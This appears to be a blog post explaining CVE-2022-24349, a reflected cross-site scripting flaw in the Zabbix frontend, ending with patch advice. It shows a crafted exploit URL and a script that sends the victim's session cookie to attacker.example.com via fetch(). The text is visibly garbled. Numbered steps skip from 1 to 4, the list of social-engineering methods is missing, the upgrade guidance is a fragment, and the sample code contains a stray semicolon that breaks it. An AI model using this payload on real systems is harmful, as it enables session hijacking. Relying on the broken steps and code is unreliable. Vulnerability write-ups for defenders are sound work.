If you use Zabbix, the popular open-source monitoring software, you should know about CVE-2022-24349. This vulnerability gives an authenticated attacker the power to craft a link with a reflected XSS (Cross-site Scripting) payload on the actions pages, and send this link to other users. Once a victim clicks it—thinking it’s from a trusted coworker—the attacker’s code will run inside their browser. Let’s break down exactly how this is possible, including a working exploit example, and what you can do to stay safe.

What is CVE-2022-24349?

CVE-2022-24349 is a vulnerability in the Zabbix Frontend that allows authenticated users to inject JavaScript code into action pages via specially crafted links. When another user clicks the link, the attacker’s code runs with the same permissions as the victim.

Attack type: Reflected Cross-Site Scripting (XSS)

- Original advisory: Zabbix Security Advisory ZBX-20602 and CVE page here

The Attack Chain: How Does It Work?

First, the attacker needs an authorized login on the Zabbix frontend. This usually means they’re a real user, maybe an insider. Here is a step-by-step on how the exploit works:

1. Prep a Link: The attacker creates a malicious URL, embedding JavaScript in one of the request parameters (say, the action name).

4. Malicious Code Runs: The browser reflects the malicious code on the page and executes it. This script now has access to the Zabbix session as if it were the victim.
5. Full Page Control: The attacker’s script can read, change, or steal sensitive data—the same power as the victim user.

Example Exploit: Real-World Code

Let’s see what the malicious link might look like and walk through a proof-of-concept.

Suppose your Zabbix is at https://zabbix.example.com. The attacker crafts the following URL

https://zabbix.example.com/zabbix/actions.php?name=%22%3E%3Cscript%3Ealert('XSS')%3C%2Fscript%3E

%22%3E closes the previous HTML attribute and tag.

- <script>alert('XSS')</script> is a classic proof-of-concept that pops a JavaScript alert box.

Code behind the attack (simplified)

// Malicious payload example
<script>
    // Steal current session cookie
    fetch("https://attacker.example.com/steal?cookie="; + document.cookie);
    // Or modify the DOM to inject a fake login form or capture sensitive data.
</script>

When the victim clicks the link, perhaps thinking they’re reviewing a change log, the script runs as them.

Exploitation Requirements

This isn’t a “drive-by” attack: it needs some groundwork.

The victim must be logged in and trust you

- Network rules must allow connections between attacker/victim’s browser and any exfiltration point

You must have some knowledge of the Zabbix deployment (URLs, user behavior, etc.)

This means an outside attacker generally won't succeed—but a malicious insider or someone who’s phished valid credentials can.

Social Engineering is Key

Because the attacker must convince a victim to click the link, social engineering is crucial. Here are common ways to achieve that:

Escalate attacks by pivoting to other users or infrastructure

Remember, the script runs in the security context of Zabbix—so limits and damage depend on the victim’s permissions.

5.4.x: Update to 5.4.7 or later

Upgrade your Zabbix NOW.

References and Further Reading

- Official NVD Entry
- Zabbix Security Advisory ZBX-20602
- OWASP XSS Cheat Sheet

Final Thoughts

CVE-2022-24349 is a classic example of how a small mistake—reflected input not being sanitized—can have big consequences, especially in admin interfaces. Even among trusted users, XSS can lead to privilege escalation and lateral movement.  
Stay safe: patch your systems, train your team, and double-check before clicking “just another link.”

Timeline

Published on: 03/09/2022 20:15:00 UTC
Last modified on: 04/18/2022 18:40:00 UTC